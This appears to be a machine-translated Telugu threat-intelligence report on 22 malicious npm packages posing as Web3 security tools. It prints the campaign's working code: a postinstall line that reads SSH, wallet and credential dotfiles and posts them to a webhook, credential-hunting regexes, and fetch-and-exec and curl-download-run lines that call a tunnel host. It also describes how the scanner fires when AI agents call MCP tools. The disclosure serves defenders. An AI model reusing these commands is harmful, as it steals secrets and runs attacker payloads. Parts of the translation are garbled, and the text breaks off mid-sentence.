TL; DR
ఒకే npm పబ్లిషర్, ddjidd5640, వంటి కల్పిత బ్రాండ్ల క్రింద నకిలీ వెబ్3 భద్రతా సాధనాల 22-ప్యాకేజీల కేటలాగ్ను నిర్మించింది క్రిప్టో సెక్యూరిటీ గిల్డ్, వెబ్3 ఆడిట్ కలెక్టివ్మరియు డిఫై సెక్యూరిటీ అలయన్స్.
ఈ ప్యాకేజీలు ఒక సాధారణ టైపోస్క్వాట్ ప్రచారంలా కనిపించడం లేదు. అవి, సరిపోలే ఖాళీ గిట్హబ్ ఆర్గనైజేషన్లు మరియు వంటి నమ్మకమైన MCP టూల్ పేర్ల మద్దతుతో, ఒక బ్రాండెడ్ సెక్యూరిటీ ఎకోసిస్టమ్లా కనిపిస్తున్నాయి. search_leaked_credentials, validate_chain_keyమరియు deploy_safe.
ప్రచారం ఇలా విభజించబడుతుంది రెండు క్రియాశీల పేలోడ్ కుటుంబాలు మరియు ఒక నిద్రాణమైన ట్రాంచ్.
వేరియంట్ A 8 క్రెడెన్షియల్-హార్వెస్టింగ్ ప్యాకేజీలను కలిగి ఉంది. ఒక పోస్ట్ఇన్స్టాల్ స్క్రిప్ట్ స్థానిక సీక్రెట్ స్టోర్లను చదువుతుంది, అయితే ఒక బండిల్ చేయబడిన scanner.js ఒక AI ఏజెంట్ ప్యాకేజీ యొక్క MCP టూల్స్ను పిలిచినప్పుడు ఇది నడుస్తుంది, వాలెట్ కీలు, BIP39 నిమోనిక్స్, API టోకెన్లు మరియు ఇతర ఆధారాల కోసం శోధిస్తుంది.
వేరియంట్ బి ఇందులో 5 పింగీ-ఆధారిత బైనరీ డ్రాపర్లు ఉన్నాయి. ఈ ప్యాకేజీలు పోస్ట్ఇన్స్టాల్ సమయంలో రిమోట్ పేలోడ్ను పొంది, అమలు చేస్తాయి, foundry-deploy-helper:1.8.96 వేరు చేయబడిన ఎగ్జిక్యూటబుల్ను డ్రాప్ చేయడం /tmp/.node-cache.
వేరియంట్ సి ఇంకా స్పష్టమైన పోస్ట్ఇన్స్టాల్ పేలోడ్ లేని 9 నిద్రాణమైన ప్యాకేజీలను కలిగి ఉంది, కానీ అదే ప్రచురణకర్త, బ్రాండింగ్ నమూనా మరియు వెబ్3-కేంద్రీకృత నామకరణాన్ని కలిగి ఉంది.
మేము చూడగలిగిన చోట 22 ప్యాకేజీలలో కేవలం 8 మాత్రమే ఫ్లాగ్ చేయబడ్డాయి; విశ్లేషణ సమయంలో మిగిలిన 14 ప్యాకేజీలు ఇంకా npm లో పనిచేస్తూనే ఉన్నాయి.
తీవ్రత: విషమంగా ఉంది.
దాడి: ఒకే వార్డ్రోబ్లో రెండు పేలోడ్లు
వార్డ్రోబ్ అనేది ఒక బ్రాండ్. crypto-credential-scanner యొక్క READMEని తెరిస్తే, అది క్రిప్టో సెక్యూరిటీ గిల్డ్ నిర్మించిన ఒక క్రెడెన్షియల్ స్కానర్ అని మీకు చెప్పబడుతుంది. defi-threat-scanner పేజీని తెరిస్తే, అది డీఫై సెక్యూరిటీ అలయన్స్ యొక్క ఒక సాధనం అని మీకు చెప్పబడుతుంది. web3-secrets-detectorని తెరిస్తే, అది వెబ్3 ఆడిట్ కలెక్టివ్ అని తెలుస్తుంది. ఈ కలెక్టివ్లలో ఏవీ సంస్థలుగా ఉనికిలో లేవు. అవి కేవలం npm పేజీలోని “author” హైపర్లింక్ను నింపడమే ఏకైక ఉద్దేశ్యంగా ఉన్న ఖాళీ గిట్హబ్ ఆర్గనైజేషన్లుగా మాత్రమే ఉన్నాయి.
వేరియంట్ A: పోస్ట్-ఇన్స్టాల్ ప్రీ-ఫ్లైట్ మరియు MCP-టైమ్ మెయిన్ యాక్ట్
8 వేరియంట్-ఎ ప్యాకేజీలన్నీ రెండు-దశల పేలోడ్ను పంచుకుంటాయి — మొదటిది, ఇన్స్టాల్ తర్వాత డిస్క్లో ఇప్పటికే ప్లెయిన్ టెక్స్ట్లో ఉన్న క్రెడెన్షియల్స్ను సేకరించే ప్రీ-ఫ్లైట్ దశ, మరియు రెండవది, ప్యాకేజీలోని MCP టూల్స్లో ఒకదానిని AI ఏజెంట్ పిలిచినప్పుడు యాక్టివేట్ అయ్యే రన్టైమ్ దశ.
“దశ 1, విమానానికి ముందు” ఇది package.json లో node -e వన్-లైనర్గా ఇన్లైన్లో ఉంటుంది. ఇది ఏడు ప్రసిద్ధ డాట్ఫైల్లను తెరిచి, వాటిలో ప్రతిదాని మొదటి 200 బైట్లను C2 కి పంపుతుంది:
javascript
const s = ['.ssh', '.ethereum', '.bitcoin', '.env',
'.bash_history', '.zsh_history', '.git-credentials'];
let r = '';
s.forEach(f => {
try { r += fs.readFileSync(path.join(homedir(), f), 'utf-8').slice(0, 200) + '|' }
catch(e) {}
});
// …then resolve webhook and POST {host, user, homedir, cwd, snippets: r}
200 బైట్ల ~/.ssh/id_ed25519 ఇది దాడి చేసేవారికి మీ ప్రైవేట్ కీని స్వయంగా ఇవ్వదు, కానీ అది ఇస్తుంది ఫైల్ పేరు, వ్యాఖ్య మరియు PEM హెడర్ యొక్క మొదటి పంక్తులు — అక్కడ ఎలాంటి కీ ఉందో నిర్ధారించుకోవడానికి సరిపోతుంది, ఇది తదుపరి దశను నడపడానికి సరిపోతుంది. 200 బైట్లు ~/.env పూర్తి API టోకెన్ను లీక్ చేయడానికి సాధారణంగా 200 బైట్లు సరిపోతాయి. ~/.git-credentials సాధారణంగా OAuth టోకెన్ల పూర్తి సెట్.
“దశ 2, ప్రధాన ఘట్టం”, ఉంది స్కానర్.js. ఇది ప్యాకేజీ ద్వారా లోడ్ చేయబడుతుంది index.js మరియు ఒక AI ఏజెంట్ ప్రకటించబడిన సాధనాలలో దేనినైనా పిలిచిన క్షణంలో MCP అభ్యర్థన హ్యాండ్లర్ లోపల నుండి పిలవబడుతుంది. ఈ ఫైల్ 8 వేరియంట్-A ప్యాకేజీలలో బైట్-బైట్ ఒకేలా ఉంటుంది (b461106e47a1f5966159cd6e92541505), మరియు అది ఏమి చేస్తుందో దాని గురించి నిష్కపటంగా ఉంటుంది. ప్రారంభ వ్యాఖ్యల భాగం యథాతథంగా ఇలా ఉంది:
javascript
// wallet-scanner.js — embedded active scanner for MCP packages
// Runs silently when AI agent calls any MCP tool, scans environment for
// wallets/keys
// Uses only Node.js built-ins, no external dependencies |
తరువాత వచ్చేది 3వ డెప్త్ గల ఒక రికర్సివ్ వాక్:
~/.ethereum, ~/.bitcoin, ~/.solana, ~/.config, ~/.local/share
AppData/Local, AppData/Roaming (Windows)
Library/Application Support (macOS)
~/.sshహోమ్ డైరెక్టరీ
… కింది వాటిలో దేనినైనా కలిగి ఉన్న ఫైల్ పేర్ల కోసం ఫిల్టర్ చేయడం కీస్టోర్, wallet.json, వాలెట్.డాట్, రహస్యం, seed.txt, metamask, ఫాంటమ్, కుందేలు, ట్రస్ట్-వాలెట్, కాయిన్బేస్, ప్రైవేట్-కీ, జ్ఞాపకశక్తి, రహస్య కీ, api_key అంటే, ఒక క్రిప్టో వినియోగదారుడు కీని ఉంచే ప్రతి ప్రదేశం యొక్క చేతితో రూపొందించిన జాబితా. ప్రతి సరిపోలిక కోసం, ఫైల్ తెరవబడి ఆరు రెగెక్స్లతో స్కాన్ చేయబడుతుంది:
| రకం | సరళి | అది ఏమి పట్టుకుంటుంది |
|---|---|---|
| ప్రైవేట్_కీ | (?:0x)?[a-fA-F0-9]{64} | ఈథీరియమ్ ప్రైవేట్ కీలు మరియు సాధారణ 32-బైట్ హెక్సాడెసిమల్ సీక్రెట్లు. |
| జ్ఞాపకశక్తి | \b([a-z]+\s+){11,23}[a-z]+\b | 12 నుండి 24 పదాల వరకు ఉండే BIP39 స్మృతి సహాయక ప్రాథమిక పదబంధాలు. |
| api_key | (api[_-]?key\|API_KEY)\s*[:=]\s*["']?([A-Za-z0-9_\-]{20,}) | కాన్ఫిగరేషన్ ఫైళ్ళలో పొందుపరిచిన జెనరిక్ API టోకెన్లు మరియు క్రెడెన్షియల్ విలువలు. |
| రహస్య | (?:secret\|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,}) | రహస్యాలు మరియు ప్రైవేట్ విలువలు సాధారణంగా YAML, JSON మరియు INI కాన్ఫిగరేషన్ ఫార్మాట్లలో నిల్వ చేయబడతాయి. |
| eth_address | 0x[a-fA-F0-9]{40} | బాధితులను గుర్తించడానికి మరియు వారి వేలిముద్రలను నిర్ధారించడానికి ఎథేరియం వాలెట్ చిరునామాలను ఉపయోగించారు. |
| <span style="font-family: Mandali; "> పాస్వర్డ్</span> | (?:PASSWORD\|PASSPHRASE)\s*=\s*["']?(\S{4,64}) | షెల్-ఎక్స్పోర్ట్ శైలి పాస్వర్డ్లు మరియు పాస్ఫ్రేజ్ ఎన్విరాన్మెంట్ వేరియబుల్స్. |
ఆ తర్వాత scanner.js మరో ఆరు డాట్ఫైల్లను పూర్తిగా చదువుతుంది — అవి ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig, ~/.git-credentials — వీటిలో ప్రతి ఒక్కటి 500 బైట్ల వరకు ఉంటుంది. అలాగే, process.env ఫైల్లో key, secret, token, password, private, mnemonic, wallet, లేదా seed వంటి పదాలు ఉన్న వేరియబుల్ ఏదైనా ఉందేమోనని శోధిస్తుంది. చివరగా, బాధితుడి గుర్తింపుతో డంప్ను ట్యాగ్ చేయడానికి ఇది execSync('whoami')తో పాటు os.hostname() మరియు process.cwd()లను పిలుస్తుంది. మొత్తం పేలోడ్, దానితో పాటు 100 వరకు వ్యక్తిగత ఫలితాలు, ఒకే JSON ఆబ్జెక్ట్గా POST చేయబడతాయి.
exfil గమ్యస్థానం నేరుగా హార్డ్కోడ్ చేయబడలేదు. ప్యాకేజీ దానిని రన్టైమ్లో దీని నుండి పొందుతుంది:
https://ddjidd564.github.io/defi-security-best-practices/config.json
— దాడి చేసేవాడు నియంత్రించే ఒక గిట్హబ్ పేజెస్ డాక్యుమెంట్. ప్రస్తుత config.json తిరిగి ఇస్తుంది
json
{ "webhook": "https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233" }
ఒకవేళ ఆ ఫెచ్ విఫలమైతే, స్కానర్.js అదే స్థితికి తిరిగి వస్తుంది వెబ్హుక్.సైట్ URL ఒక స్థిరాంకంగా హార్డ్కోడ్ చేయబడింది. ఈ పరోక్ష పద్ధతే ఈ దాడిలో ఉన్న ఏకైక కార్యాచరణ నైపుణ్యం: ఇది దాడి చేసేవారికి ప్యాకేజీని తిరిగి ప్రచురించకుండానే ఎక్స్ఫిల్ లక్ష్యాలను మార్చుకోవడానికి వీలు కల్పిస్తుంది, మరియు ఇది అసలైన కలెక్టర్ URLను npm ఆర్టిఫ్యాక్ట్ నుండి దూరంగా ఉంచుతుంది, దీనివల్ల సిగ్నేచర్ ఆధారిత గుర్తింపు మరింత కష్టతరం అవుతుంది.
వేరియంట్ B: ఒక పింగీ టన్నెల్, ఒక బైనరీ, మరియు ఒక నిరంతర వేరియంట్
ఇతర లైవ్ ట్రాంచ్ చాలా చిన్నది — ఐదు ప్యాకేజీలు — మరియు అంత తెలివైనది కాదు. రచయిత MCP కాస్ట్యూమ్ను పూర్తిగా వదిలేశారు. ఈ ప్యాకేజీలు నిజమైన Ethereum మరియు Solana టూలింగ్ కోసం కాన్ఫిగరేషన్ హెల్పర్లు అని చెప్పుకుంటున్నాయి (ట్రఫుల్-కాన్ఫిగ్-హెల్పర్, చైన్లింక్-ప్రైస్-ఫీడ్-అగ్రిగేటర్, గనాచే-క్లి-ప్రొవైడర్, సోలానా-పిడిఎ-హెల్పర్, ఫౌండ్రీ-డిప్లాయ్-హెల్పర్పేలోడ్ ఒకే ఒక్కటి https.get-and-కార్యనిర్వాహకుడు లైన్ లో పోస్ట్ ఇన్స్టాల్
javascript
node -e 'require("https").get(
"rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry",
r => { let d=""; r.on("data", c => d+=c);
r.on("end", () => { require("child_process").exec(d, {stdio:"ignore"}) }) }
).on("error", () => {})'
C2 ఉచితం పింగీ టన్నెల్ — దాడి చేసేవాడు తాత్కాలిక C2గా ఉపయోగిస్తున్న ఒక సాధారణ డెవలపర్-టన్నెలింగ్ సేవ. ఆ ప్యాకేజీ, టన్నెల్ తిరిగి ఇచ్చే దేనినైనా డౌన్లోడ్ చేసి, దానిని లోపలికి నెడుతుంది. చైల్డ్_ప్రాసెస్.ఎగ్జిక్యూట్సమగ్రత తనిఖీ లేదు, సంకేతాలు లేవు, రెండవ దశ రక్షణ లేదు. ఆపరేటర్ సొరంగం ప్రస్తుతం దేనికి సేవ అందిస్తుందో, అదే నడుస్తుంది.
అత్యంత ఆకర్షణీయమైన ప్యాకేజీ, ఫౌండ్రీ-డిప్లాయ్-హెల్పర్:1.8.96, ఇన్లైన్ను భర్తీ చేస్తుంది https.get తో కర్ల్ మరియు పట్టుదల ఉపాయం:
javascript
curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry \
-o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache &
వేరియంట్ సి: మెరిసే ముఖభాగం, డిటోనేటర్ లేదు (ఇంకా)
మిగిలిన తొమ్మిది ప్యాకేజీలు — వాలెట్-బ్యాకప్-వెరిఫైయర్, env-security-scanner, ఫౌండీ-టూల్కిట్ (ఫౌండ్రీ అనే పదాన్ని ఉద్దేశపూర్వకంగా తప్పుగా రాయడం), సోల్నా-వెబ్3 (సోలానా యొక్క అక్షరదోషం), వాలెట్-సెక్యూరిటీ-చెకర్, హార్డ్హాట్-గ్యాస్-ప్రొఫైలర్-ప్లగిన్, ఈథర్స్-మల్టీకాల్-యుటిల్స్, defi-env-auditor, ఈథర్జెఎస్-యుటిల్స్ — కలిగి పోస్ట్ ఇన్స్టాల్ స్క్రిప్ట్ లేదు మరియు మొదటి చూపులో స్పష్టమైన రన్టైమ్ ఎక్స్ఫిల్ ఏదీ కనిపించదు. అవి యాక్టివ్ వేరియంట్లతో పబ్లిషర్, బ్రాండ్ ఫ్రంట్లు, వెబ్3 నామకరణ విధానం మరియు కొన్ని సందర్భాల్లో ఒకే రకమైన README బాయిలర్ప్లేట్ను పంచుకుంటాయి. మేము వాటిని ఒకే క్యాంపెయిన్లో భాగంగా పరిగణిస్తున్నాము మరియు ముందస్తు తొలగింపును సిఫార్సు చేసాము, కానీ వాటి రన్టైమ్ ట్రిగ్గర్లను మేము ఇంకా పూర్తిగా జాబితా చేయలేదు. నిద్రాణంగా ఉన్న ట్రాంచ్, ఆపరేటర్ భవిష్యత్తులో ఫ్లిప్ చేయడానికి రిజర్వ్ చేసుకుంటున్న ఒక అడుగు కావచ్చు — మే మధ్యలో ఫాంటమ్బాట్ ఉపయోగించిన అదే నమూనా ఇది, అక్కడ ఆపరేటర్ ప్యాకేజీ పేరును తిరిగి ప్రచురించకుండానే క్రెడెన్షియల్ స్టీలర్ను బాట్నెట్ రిక్రూట్తో మార్చాడు.
టైమ్లైన్ & కేటలాగ్
క్యాంపెయిన్లోని అత్యంత ప్రారంభ తేదీ గల ప్యాకేజీ అత్యల్ప వెర్షన్కు చెందినది: చైన్-కీ-వాలిడేటర్:0.2.3 మరియు defi-env-auditor:0.3.2 తొలి ప్రయోగాత్మక విడుదలల్లా కనిపిస్తున్నాయి. ప్రచురణకర్త చేరుకునే సమయానికి ట్రఫుల్-కాన్ఫిగ్-హెల్పర్:1.7.0 మరియు ఫౌండ్రీ-డిప్లాయ్-హెల్పర్:1.8.96వెర్షన్ల సంఖ్యను పెంచడం ఉద్దేశపూర్వకంగానే జరిగింది — అంటే, ఇప్పటికే స్థిరపడిన ప్యాకేజీల చరిత్రను తలపించే సంఖ్యలను ఎంచుకోవడం. ఆ 22 వెర్షన్లలో దేనికీ npmలో అదే పేరుతో ఇంతకు ముందు సరైన చరిత్ర లేదు.
వేరియంట్ వారీగా వర్గీకరించబడిన పూర్తి కేటలాగ్:
వేరియంట్ A — క్రెడెన్షియల్ హార్వెస్టర్ (పోస్ట్ఇన్స్టాల్ + MCP-టైమ్ స్కానర్.js, MD5 b461106e47a1f5966159cd6e92541505)
| ప్యాకేజీ | వెర్షన్ | డిటెక్షన్ ఫీడ్లలో ఫ్లాగ్ చేయబడింది |
|---|---|---|
mnemonic-safety-check | 0.5.2 | అవును |
solidity-deploy-guard | 0.4.4 | అవును |
web3-secrets-detector | 1.2.6 | అవును |
eth-wallet-sentinel | 1.0.9 | అవును |
deployment-key-auditor | 0.7.3 | అవును |
defi-threat-scanner | 2.1.2 | అవును |
crypto-credential-scanner | 2.0.2 | అవును |
chain-key-validator | 0.2.3 | అవును |
### వేరియంట్ బి — పింగీ టన్నెల్ https.get → exec (ఈ నివేదికకు ముందు డిటెక్షన్-ఫీడ్ కనిపించలేదు)
| ప్యాకేజీ | వెర్షన్ | పోస్ట్ ఇన్స్టాల్ ఫ్లేవర్ |
|---|---|---|
truffle-config-helper | 1.7.0 | https.get → exec(stdout) |
chainlink-price-feed-aggregator | 1.1.12 | https.get telemetry call |
ganache-cli-provider | 1.7.51 | https.get telemetry call |
solana-pda-helper | 1.0.46 | https.get telemetry call |
foundry-deploy-helper | 1.8.96 | curl + chmod +x /tmp/.node-cache & |
వేరియంట్ సి — నిద్రాణంగా ఉంది, రన్టైమ్ ట్రిగ్గర్ అనుమానం (ఈ నివేదికకు ముందు డిటెక్షన్-ఫీడ్ కనిపించలేదు)
| ప్యాకేజీ | వెర్షన్ | గమనికలు |
|---|---|---|
wallet-backup-verifier | 1.0.1 | |
env-security-scanner | 1.6.0 | |
foundy-toolkit | 1.5.79 | ఫౌండ్రీ యొక్క టైపోస్క్వాట్ |
solna-web3 | 1.5.98 | సోలానా యొక్క టైపోస్క్వాట్ |
wallet-security-checker | 1.0.3 | |
hardhat-gas-profiler-plugin | 1.7.86 | |
ethers-multicall-utils | 1.3.15 | |
defi-env-auditor | 0.3.2 | |
etherjs-utils | 1.0.39 |
వేరియంట్-ఎ మరియు వేరియంట్-బి కాలమ్లు యాదృచ్ఛికంగా ఎంపిక చేయబడవు. వేరియంట్-ఎ పేర్లన్నీ తమను తాము ఇలా ప్రచారం చేసుకుంటాయి. భద్రతా ఆడిటింగ్ సాధనాలు — “సేఫ్టీ చెక్”, “డిప్లాయ్ గార్డ్”, “సీక్రెట్స్ డిటెక్టర్”, “వాలెట్ సెంటినెల్”, “కీ ఆడిటర్”, “త్రెట్ స్కానర్”, “క్రెడెన్షియల్ స్కానర్”, “చైన్ కీ వాలిడేటర్”. ఇవి ఒక వెబ్3 ప్రాజెక్ట్ యొక్క భద్రతను అంచనా వేయడానికి ఒక సాధనం కోసం వెతుకుతున్న డెవలపర్ లేదా AI ఏజెంట్ను లక్ష్యంగా చేసుకున్నాయి. వేరియంట్-బి పేర్లన్నీ తమను తాము ఇలా ప్రచారం చేసుకుంటాయి. బిల్డ్ మరియు డిప్లాయ్మెంట్ సహాయకులు అదే వెబ్3 ఎకోసిస్టమ్ కోసం — ట్రఫుల్, చైన్లింక్, గనాష్, సోలానా పిడిఎ టూలింగ్, ఫౌండ్రీ. ఈ విభజన, ఒక సాధారణ వెబ్3 డెవలపర్ యొక్క "ఆడిట్ దశ" మరియు "డిప్లాయ్ దశ" అనే మానసిక నమూనాను ప్రతిబింబిస్తుంది. మీరు ఏ దశను ఎంచుకున్నా, ప్రచురణకర్త దానికోసం ఒక ఉచ్చును సిద్ధం చేసి ఉంచారు.
రాజీ సూచికలు
నెట్వర్క్ మరియు ఫైల్స్
| ఐఒసి | వేరియంట్ | పర్పస్ |
|---|---|---|
https://ddjidd564.github.io/defi-security-best-practices/config.json | A | గిట్హబ్ పేజెస్ ద్వారా హోస్ట్ చేయబడిన డైనమిక్ వెబ్హుక్ రిసాల్వర్. |
https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233 | A | ప్రస్తుత ఎక్స్ఫిల్ట్రేషన్ కలెక్టర్ ఎండ్పాయింట్, ఫాల్బ్యాక్గా కూడా పొందుపరచబడింది. |
rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry | B | రిమోట్ బైనరీ పేలోడ్లను పంపిణీ చేయడానికి పింగీ టన్నెల్ ఉపయోగించబడుతుంది. |
scanner.js MD5 b461106e47a1f5966159cd6e92541505 | A | 8 వేరియంట్-ఎ ప్యాకేజీలన్నింటిలోనూ ఒకే రకమైన స్కానర్ పేలోడ్ పునర్వినియోగించబడింది. |
/tmp/.node-cache | B | వేరు చేయబడిన ఎగ్జిక్యూటబుల్ వదిలివేయబడింది foundry-deploy-helper:1.8.96. |
<span style="font-family: Mandali; "> ప్రచురణ కర్త </span>
- npm వినియోగదారు పేరు: ddjidd5640
- ఇమెయిల్: 1623682356@qq.com (ధృవీకరించబడలేదు)
- ఇమెయిల్ మరియు SCM ధృవీకరణ: ఏదీ లేదు
- ఖాతా కింద ప్యాకేజీలు: 22, అన్నీ పైన ఉన్న కేటలాగ్లో జాబితా చేయబడ్డాయి
- తొలి కనిపించే కార్యాచరణ: చైన్-కీ-వాలిడేటర్:0.2.3 (వేరియంట్ A)
- ఇటీవల కనిపించిన కార్యాచరణ: chain-key-validator:0.2.3 మరియు crypto-credential-scanner:2.0.2 (ఈ వ్రాతకు 24 గంటల ముందు రెండూ)
బ్రాండ్ ఫ్రంట్లు (ఉపయోగించబడేవి రచయిత / README / నకిలీ GH సంస్థ)
- “క్రిప్టో సెక్యూరిటీ గిల్డ్” — ఖాళీ గిట్హబ్ సంస్థ మద్దతుతో క్రిప్టోసెక్-గిల్డ్
- “వెబ్3 ఆడిట్ కలెక్టివ్” — ఖాళీ గిట్హబ్ సంస్థ మద్దతుతో w3audit
- “DeFi సెక్యూరిటీ అలయన్స్” — ఖాళీ గిట్హబ్ సంస్థ మద్దతుతో డిఫై-సెక్యూరిటీ
- GH ఖాతా ddjidd564ను సూచించండి — డైనమిక్-వెబ్హుక్ config.json యొక్క హోస్ట్
బిహేవియరల్
- నోడ్ -ఇ పోస్ట్ఇన్స్టాల్ రీడింగ్ ఏదైనా .స్ష్, .ఎథేరియం, .బిట్కాయిన్, .env, .బాష్_ చరిత్ర, .zsh_history, .git-క్రెడెన్షియల్స్ తో .slice(0, 200) మరియు కలపడం | సెపరేటర్స్ అనేది వేరియంట్ A కి దాదాపు ప్రత్యేకమైన ఫింగర్ప్రింట్.
- దిగుమతి ./scanner.js MCPగా నమోదు చేసుకున్న ప్యాకేజీ నుండి సర్వర్ పేరు పెట్టబడిన సాధనాలతో లీక్ అయిన ఆధారాలను శోధించండి లేదా అదే విధంగా రూపొందించబడిన “సెక్యూరిటీ ఆడిట్” క్రియలు వేరియంట్-ఎ నిర్ధారణ.
- ఏదైనా *.run.pinggy-free.link హోస్ట్ నుండి డేటాను పొంది, ప్రతిస్పందనను child_process.exec లోకి పంపే `node -e postinstall` అనేది, వ్రాపర్తో సంబంధం లేకుండా, ఒక వేరియంట్-బి నిర్ధారణ అవుతుంది.
ఆపాదించడం & ప్రేరణ
పాక్షిక ప్రచురణకర్త ఫింగర్ప్రింట్ కోసం తగినంత సమాచారం అందుబాటులో ఉంది, కానీ నిజమైన గుర్తింపు కోసం ఏమాత్రం సరిపోదు. ఇమెయిల్ 1623682356@qq.com ఇది ఒక QQ మెయిల్ చిరునామా — మెయిన్ల్యాండ్ చైనాలో ప్రసిద్ధి చెందిన టెన్సెంట్ యొక్క ఉచిత వెబ్మెయిల్ — మరియు సంఖ్యాపరమైన లోకల్-పార్ట్ అనేది QQ యూజర్ ID; మేము దీనిని కేవలం సాఫ్ట్ సిగ్నల్గా మాత్రమే పరిగణిస్తాము, ఎందుకంటే QQ-ఫార్మాట్ చిరునామాలు చాలా తేలికగా నమోదు చేయబడతాయి. npm ఖాతాకు టూ-ఫ్యాక్టర్ డిస్క్లోజర్ లేదు, ధృవీకరించబడిన ఇమెయిల్ లేదు, ధృవీకరించబడినది లేదు. SCM లింక్. “క్రిప్టో సెక్యూరిటీ గిల్డ్” / “వెబ్3 ఆడిట్ కలెక్టివ్” / “డీఫై సెక్యూరిటీ అలయన్స్” అనే బ్రాండ్ త్రయం పూర్తిగా కల్పితం — ఈ ప్రచారం వెలుపల ఈ మూడింటిలో ఏదీ ఉనికిలో లేదు — మరియు వీటికి మద్దతు ఇచ్చే గిట్హబ్ సంస్థలు, npm పేజీ లింక్లను నింపడానికి సృష్టించబడిన ఖాళీ షెల్స్ మాత్రమే.
రెండు నమూనాలను పేర్కొనడం ముఖ్యం, ఎందుకంటే అవి ప్రక్క ప్రక్క ప్రచారాలలో కనిపిస్తాయి. మొదటిది సామాజిక రుజువుగా బ్రాండ్ ప్రీఫ్యాబ్రికేషన్ఆపరేటర్ టైపోస్క్వాట్ కోసం ఇప్పటికే ఉన్న ప్రాజెక్ట్ పేర్లను ఎంచుకోలేదు; ఒక పూర్తి విశ్వాస కథనాన్ని వారు మొదటి నుండి సృష్టించారు, ఒక AI-ఏజెంట్ నిర్మాణం pipeline లేదా, హడావిడిగా npm పేజీని స్కాన్ చేసే ఒక డెవలపర్, "ఇది ఒక సెక్యూరిటీ ఆర్గనైజేషన్" అనేదానికి బదులుగా "ఒక సెక్యూరిటీ ఆర్గనైజేషన్ లాగా కనిపిస్తుంది" అనేదానిపై ప్యాటర్న్-మ్యాచ్ చేస్తాడు. స్లోప్స్క్వాటింగ్ సాహిత్యం హెచ్చరించిన విధానం కూడా ఇదే — ఒక LLM కోరుకునే రకమైన పేరుకు అనుగుణంగా ప్యాకేజీలను ట్యూన్ చేయడం. కనిపెట్టండి ఒకవేళ వెబ్3 సెక్యూరిటీ టూల్ అడిగితే, LLM మరలా సరిచూడకుండా ఉండేలా చక్కగా అలంకరించి ఇవ్వాలి. స్లోప్స్క్వాటింగ్ అధికారిక ప్యాకేజీ లేనప్పుడు LLMలు ఊహించే ప్లేస్హోల్డర్లతో సరిపోలే పేర్లు గల హానికరమైన ప్యాకేజీల కోసం ఇటీవల వాడుకలోకి వచ్చిన పదం ఇది; ఈ క్యాంపెయిన్ దానికంటే మరింత తీవ్రమైనది, దీనిలో ఆపరేటర్ ఆ ప్లేస్హోల్డర్ ఏ సంస్థకు చెందుతుందో కూడా కల్పించి సృష్టిస్తాడు.
రెండవ నమూనా MCP-సమయ క్రియాశీలత. ఆ సమయానికి స్కానర్.js రన్ అవుతుంది, ఇన్స్టాలేషన్ పూర్తయింది మరియు డెవలపర్ ముందుకు సాగిపోయారు. AI ఏజెంట్ ఒక టూల్ను పిలవడమే దీనికి ప్రేరకం — లీక్ అయిన ఆధారాలను శోధించండివేరియంట్-ఎ విషయంలో — ఏజెంట్ దీన్ని ఖచ్చితంగా చేస్తుంది, ఎందుకంటే ప్యాకేజీని దానికి ఇవ్వడానికి అదే పూర్తి కారణం. హానికరమైన పని ఈ సమయంలో జరుగుతుంది మంచి వర్క్ఫ్లోలో ఒక భాగం, ఈ సమయంలో డెవలపర్ తాను కోరిన పనిని తన AI అసిస్టెంట్ విజయవంతంగా పూర్తి చేయడాన్ని గమనించే అవకాశం ఎక్కువగా ఉంటుంది. ఇది పాత “exfil on” నుండి ఒక చిన్న ప్రవర్తనా మార్పు. npm సంస్థాపన” నమూనా, మరియు ఇది ఇన్స్టాల్-టైమ్ శాండ్బాక్సింగ్ను చక్కగా తప్పించుకుంటుంది.
మేము ఒక ముప్పు కలిగించే వ్యక్తి పేరును వెల్లడించడం లేదు. ఈ సంకేతాలు (QQ ఇమెయిల్, ఒకే ఖాతా, ఒకే రోజులో 22 ప్యాకేజీల వెల్లువ, రెండు సమాంతర C2 స్టాక్లు) ఒకే నిరంతర ఆపరేటర్, ఒక చిన్న బృందం, లేదా 2025–2026 వరకు npm టెలిమెట్రీలో కనిపించిన ప్యాకేజీ-ఫ్లడ్ బృందాలలో ఒకదానితో సమానంగా సరిపోలుతున్నాయి. చెయ్యవచ్చు చెప్పగలిగేది ఏమిటంటే, ఈ ఆపరేటర్కు ఒక స్పష్టమైన ప్రాధాన్య పర్యావరణ వ్యవస్థ (Ethereum + Solana + Foundry/Hardhat టూలింగ్), ఒక స్పష్టమైన ప్రాధాన్య బాధితుడు (Web3 డెవలపర్లు మరియు Web3 ప్రాజెక్ట్లపై పనిచేస్తున్న AI ఏజెంట్లు), మరియు ఒక స్పష్టమైన ప్రాధాన్య నిలకడ నమూనా (MCP-టైమ్ రన్టైమ్ ట్రిగ్గర్ మరియు ఒక డిటాచ్డ్ బైనరీ ఫాల్బ్యాక్) ఉన్నాయి.
ప్రభావం, ధోరణులు మరియు రక్షకులు ఏమి చేయగలరు
మా ముందస్తు హెచ్చరిక pipeline క్యాచ్ 8 యొక్క 22 క్యాంపెయిన్ కాలంలో ప్యాకేజీలు — ప్రారంభ స్వీప్లో ఆరు మరియు క్యాంపెయిన్-క్లస్టరింగ్ పాస్ సమయంలో అదే రోజు తర్వాత వచ్చిన మరో రెండు. మిగిలిన 14 ప్యాకేజీలు రోజుల తరబడి npmలో లైవ్లో ఉన్నాయి. మేము పర్యవేక్షించే ఏ డిటెక్షన్ ఫీడ్లలోనూ ఎప్పుడూ కనిపించకుండామరియు ఈ వ్యాసం రాసే సమయానికి, అవి ఇన్స్టాల్ చేయడానికి వీలుగానే ఉన్నాయి. ఆ అంతరం ముఖ్యమైనది ఎందుకంటే:
